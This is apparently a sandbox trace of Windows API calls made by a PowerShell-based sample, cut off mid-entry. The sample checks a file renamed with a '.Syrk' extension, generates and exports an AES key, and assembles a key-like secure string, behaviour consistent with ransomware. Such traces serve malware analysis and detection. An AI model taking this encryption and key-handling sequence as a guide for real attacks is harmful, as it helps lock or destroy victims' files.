EtwEventActivityIdControl () returned 0x0 [0190.091] EtwEventActivityIdControl () returned 0x0 [0190.092] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.092] EtwEventActivityIdControl () returned 0x0 [0190.092] EtwEventActivityIdControl () returned 0x0 [0190.092] EtwEventActivityIdControl () returned 0x0 [0190.095] EtwEventActivityIdControl () returned 0x0 [0190.095] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.096] EtwEventActivityIdControl () returned 0x0 [0190.096] EtwEventActivityIdControl () returned 0x0 [0190.096] EtwEventActivityIdControl () returned 0x0 [0190.099] EtwEventActivityIdControl () returned 0x0 [0190.099] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.099] EtwEventActivityIdControl () returned 0x0 [0190.099] EtwEventActivityIdControl () returned 0x0 [0190.099] EtwEventActivityIdControl () returned 0x0 [0190.103] EtwEventActivityIdControl () returned 0x0 [0190.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de54) returned 1 [0190.106] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\brmtcoyplllg.jpg.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24abc54 | out: lpFileInformation=0x24abc54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee03e460, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xee03e460, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xee08a720, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x734)) returned 1 [0190.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de50) returned 1 [0190.107] GetConsoleOutputCP () returned 0x1b5 [0190.108] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0190.108] GetConsoleOutputCP () returned 0x1b5 [0190.108] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0190.108] GetConsoleOutputCP () returned 0x1b5 [0190.108] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.108] GetConsoleOutputCP () returned 0x1b5 [0190.108] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.108] GetConsoleOutputCP () returned 0x1b5 [0190.108] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0190.108] GetConsoleOutputCP () returned 0x1b5 [0190.108] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0190.109] GetConsoleOutputCP () returned 0x1b5 [0190.109] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.109] GetConsoleOutputCP () returned 0x1b5 [0190.109] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.109] GetConsoleOutputCP () returned 0x1b5 [0190.109] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0190.109] GetConsoleOutputCP () returned 0x1b5 [0190.109] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0190.109] GetConsoleOutputCP () returned 0x1b5 [0190.109] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.110] GetConsoleOutputCP () returned 0x1b5 [0190.110] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.110] GetConsoleOutputCP () returned 0x1b5 [0190.110] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0190.110] GetConsoleOutputCP () returned 0x1b5 [0190.110] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0190.110] GetConsoleOutputCP () returned 0x1b5 [0190.110] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.110] GetConsoleOutputCP () returned 0x1b5 [0190.116] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.116] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6cc | out: lpConsoleScreenBufferInfo=0x5a2e6cc) returned 1 [0190.117] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0190.117] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24c5a24*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x24c5a24*, lpNumberOfCharsWritten=0x5a2e6b8*=0x4f) returned 1 [0190.118] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0190.118] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x230e700*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x230e700*, lpNumberOfCharsWritten=0x5a2e6b8*=0x2) returned 1 [0190.119] EtwEventActivityIdControl () returned 0x0 [0190.119] EtwEventActivityIdControl () returned 0x0 [0190.119] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eb1c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.119] EtwEventActivityIdControl () returned 0x0 [0190.119] EtwEventActivityIdControl () returned 0x0 [0190.119] EtwEventActivityIdControl () returned 0x0 [0190.121] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e774, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.122] EtwEventActivityIdControl () returned 0x0 [0190.122] EtwEventActivityIdControl () returned 0x0 [0190.122] EtwEventActivityIdControl () returned 0x0 [0190.123] CryptAcquireContextW (in: phProv=0x5a2e370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e370*=0x5c4cdd0) returned 1 [0190.125] CryptGenKey (in: hProv=0x5c4cdd0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e7b0 | out: phKey=0x5a2e7b0*=0x5c68840) returned 1 [0190.125] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0190.125] CryptExportKey (in: hKey=0x5c68840, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e79c | out: pbData=0x0*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0190.125] CryptExportKey (in: hKey=0x5c68840, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24cd6c4, pdwDataLen=0x5a2e79c | out: pbData=0x24cd6c4*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0190.125] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e368, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.126] EtwEventActivityIdControl () returned 0x0 [0190.126] EtwEventActivityIdControl () returned 0x0 [0190.126] EtwEventActivityIdControl () returned 0x0 [0190.127] SysStringLen (param_1="") returned 0x8 [0190.127] SysStringLen (param_1="6") returned 0x8 [0190.127] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.127] SysStringLen (param_1="揼잂᱌頤溓姱ꐹꃁ") returned 0x8 [0190.127] SysStringLen (param_1="揼잂᱌頤溓姱ꐹꃁ") returned 0x8 [0190.127] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.127] SysStringLen (param_1="64") returned 0x8 [0190.127] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.128] SysStringLen (param_1="⥡秐ਙ릐ẖ㻍") returned 0x8 [0190.128] SysStringLen (param_1="⥡秐ਙ릐ẖ㻍") returned 0x8 [0190.128] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.128] SysStringLen (param_1="64V") returned 0x8 [0190.128] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.128] SysStringLen (param_1="ﭹ꽀टꕣ៛䀄倞؍") returned 0x8 [0190.128] SysStringLen (param_1="ﭹ꽀टꕣ៛䀄倞؍") returned 0x8 [0190.128] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.128] SysStringLen (param_1="64VG") returned 0x8 [0190.128] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.128] SysStringLen (param_1="콲嵤㔮Ọ\চ≜) returned 0x8 [0190.128] SysStringLen (param_1="콲嵤㔮Ọ\চ≜) returned 0x8 [0190.128] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.128] SysStringLen (param_1="64VGf") returned 0x8 [0190.128] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.129] SysStringLen (param_1="앃䰀㾳帇彟\碌⊂) returned 0x8 [0190.129] SysStringLen (param_1="앃䰀㾳帇彟\碌⊂) returned 0x8 [0190.129] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.129] SysStringLen (param_1="64VGfH") returned 0x8 [0190.129] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.129] SysStringLen (param_1="䔦忧룴\쟚铮수淏⊲) returned 0x8 [0190.129] SysStringLen (param_1="䔦忧룴\쟚铮수淏⊲) returned 0x8 [0190.129] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.129] SysStringLen (param_1="64VGfHB") returned 0x8 [0190.129] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.129] SysStringLen (param_1="଺窙﹠ज边\⋙) returned 0x8 [0190.129] SysStringLen (param_1="଺窙﹠ज边\⋙) returned 0x8 [0190.129] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.129] SysStringLen (param_1="64VGfHBp") returned 0x8 [0190.130] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.130] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞") returned 0x8 [0190.130] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞") returned 0x8 [0190.130] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞") returned 0x8 [0190.130] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞") returned 0x10 [0190.130] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.130] SysStringLen (param_1="64VGfHBpk≳趒\Ꮫ覰⺓ꔝ≐) returned 0x10 [0190.130] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.130] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞⭞栽뎎章ಛ딄澔") returned 0x10 [0190.130] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞⭞栽뎎章ಛ딄澔") returned 0x10 [0190.130] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.130] SysStringLen (param_1="64VGfHBpku趒\Ꮫ覰⺓ꔝ≐) returned 0x10 [0190.130] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.131] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞좼굣찴夨埰➰틍鿌") returned 0x10 [0190.131] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞좼굣찴夨埰➰틍鿌") returned 0x10 [0190.131] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.131] SysStringLen (param_1="64VGfHBpkud\Ꮫ覰⺓ꔝ≐) returned 0x10 [0190.131] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.131] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞꣪ꇩᝳ呣嗥㬫늹崲") returned 0x10 [0190.131] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞꣪ꇩᝳ呣嗥㬫늹崲") returned 0x10 [0190.131] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.131] SysStringLen (param_1="64VGfHBpkud6뀓鎉ᴮ傥") returned 0x10 [0190.131] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.131] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞㑼텕⯕懯蓿朐旱") returned 0x10 [0190.131] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞㑼텕⯕懯蓿朐旱") returned 0x10 [0190.131] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.132] SysStringLen (param_1="64VGfHBpkud6i鎉ᴮ傥") returned 0x10 [0190.132] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.132] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞嚧貳絒퉆ꪎ༿॒ⷤ") returned 0x10 [0190.132] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞嚧貳絒퉆ꪎ༿॒ⷤ") returned 0x10 [0190.132] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.132] SysStringLen (param_1="64VGfHBpkud6iuᴮ傥") returned 0x10 [0190.132] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.132] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞鶸磪蠄뙖ㄖ⮗") returned 0x10 [0190.132] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞鶸磪蠄뙖ㄖ⮗") returned 0x10 [0190.132] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.132] SysStringLen (param_1="64VGfHBpkud6iuY傥") returned 0x10 [0190.132] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.133] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞嬍漰꩓郮䉼鸈溾籼") returned 0x10 [0190.133] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞嬍漰꩓郮䉼鸈溾籼") returned 0x10 [0190.133] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.133] SysStringLen (param_1="64VGfHBpkud6iuYH") returned 0x10 [0190.133] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.133] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏") returned 0x10 [0190.133] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏") returned 0x10 [0190.133] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏") returned 0x10 [0190.133] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏") returned 0x18 [0190.133] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.134] SysStringLen (param_1="64VGfHBpkud6iuYHR嵙ὲⳙ៦붬\㓞⊾) returned 0x18 [0190.134] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.134] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏阭拤솢殜瑶ᔚ") returned 0x18 [0190.134] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏阭拤솢殜瑶ᔚ") returned 0x18 [0190.134] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.134] SysStringLen (param_1="64VGfHBpkud6iuYHRHὲⳙ៦붬\㓞⊾) returned 0x18 [0190.134] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.134] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏ोꬾ澄譖늖銛蜣紗") returned 0x18 [0190.134] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏ोꬾ澄譖늖銛蜣紗") returned 0x18 [0190.134] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.135] SysStringLen (param_1="64VGfHBpkud6iuYHRH6ⳙ៦붬\㓞⊾) returned 0x18 [0190.135] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.135] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏뻘씷蠛亥Ὠ㛵奕") returned 0x18 [0190.135] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏뻘씷蠛亥Ὠ㛵奕") returned 0x18 [0190.135] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.135] SysStringLen (param_1="64VGfHBpkud6iuYHRH6z៦붬\㓞⊾) returned 0x18 [0190.135] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.135] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏ন嚫煂谜篈려艹Ⅵ") returned 0x18 [0190.135] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏ন嚫煂谜篈려艹Ⅵ") returned 0x18 [0190.135] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.135] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zM붬\㓞⊾) returned 0x18 [0190.135] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.136] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏퇨젛䶋ヹ봥㞎稈") returned 0x18 [0190.136] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏퇨젛䶋ヹ봥㞎稈") returned 0x18 [0190.136] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.136] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMh\㓞⊾) returned 0x18 [0190.136] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.136] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏⺬轢᜹䅽ᇝ뒰꽡袚") returned 0x18 [0190.136] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏⺬轢᜹䅽ᇝ뒰꽡袚") returned 0x18 [0190.136] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.136] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhK븴") returned 0x18 [0190.136] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.136] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䋉髤朠髒徝춸") returned 0x18 [0190.136] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䋉髤朠髒徝춸") returned 0x18 [0190.136] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.137] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhKZ") returned 0x18 [0190.137] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.137] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭") returned 0x18 [0190.137] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭") returned 0x18 [0190.137] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭") returned 0x18 [0190.137] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭") returned 0x20 [0190.137] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.138] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhKZn옳閉ᵅ缩惾彖") returned 0x20 [0190.138] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.138] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭߿匕睂꥘") returned 0x20 [0190.138] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭߿匕睂꥘") returned 0x20 [0190.138] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.138] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhKZn6閉ᵅ缩惾彖") returned 0x20 [0190.138] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.138] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭㔤ﾴ㻌渷厄㕸Ⲝ") returned 0x20 [0190.138] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭㔤ﾴ㻌渷厄㕸Ⲝ") returned 0x20 [0190.138] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.138] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhKZn65閉ᵅ缩惾彖") returned 0x20 [0190.138] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.139] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭⺆쁳恾ڜᛑ晴쥥庇") returned 0x20 [0190.139] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭⺆쁳恾ڜᛑ晴쥥庇") returned 0x20 [0190.139] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.139] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhKZn658ᵅ缩惾彖") returned 0x20 [0190.139] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.139] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ꌴ\뗞筛ꙅ\﫝機\⋜) returned 0x20 [0190.139] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ꌴ\뗞筛ꙅ\﫝機\⋜) returned 0x20 [0190.139] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.139] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhKZn658P缩惾彖") returned 0x20 [0190.139] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.139] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭柰埻㚗痈⌰謺曽") returned 0x20 [0190.139] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭柰埻㚗痈⌰謺曽") returned 0x20 [0190.140] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.140] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhKZn658PD惾彖") returned 0x20 [0190.140] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.140] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭寊Ꙩ㔯⻈賿鉊筬") returned 0x20 [0190.140] SysStringLen 